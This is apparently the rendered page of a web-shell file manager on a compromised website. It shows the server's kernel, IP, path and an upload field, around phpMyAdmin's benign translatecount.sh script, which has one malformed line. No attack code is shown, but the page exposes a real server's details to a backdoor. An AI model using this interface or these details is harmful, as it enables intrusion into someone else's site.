AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 13.58.203.104


Current Path : /var/www/lhjmq-records.qc.ca/public_html/phpmyadmin/lang/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/phpmyadmin/lang/translatecount.sh

#!/bin/sh
# $Id: translatecount.sh,v 2.0 2003/11/18 15:20:42 nijel Exp $
##
# Shell script to produce counts of just how out of date the translations are!
##
# Accepts optional parameters of a list of files to produce counts from
# Defaults to using all files
##
# Written by Robin Johnson <robbat2 at users.sourceforge.net>
##
srcfilelist=${@}
destfilelist=""
translationmatch='//to translate'
suffixtoremove='.inc.php'
added=0
if [ -z "${srcfilelist}" ]; then
  srcfilelist="*.inc.php"
  added=1
fi;
for i in ${srcfilelist}; do 
  if [ ! -e ${i} ]; then
    $i=`eval ${i}*php3`
  fi
  if [ -e ${i} ]; then
    destfilelist="${destfilelist} ${i}"
  fi;
done;
destfilelist=`echo ${destfilelist} | xargs -n1 | egrep '.inc.php$'` 
if [ ! -z "${destfilelist}" ]; then
  grep -c -- "${translationmatch}" ${destfilelist} | sort -t':' -n +1  | sed -e "s/${suffixtoremove}//g" | xargs -n1 | egrep -v ':0$' 
fi;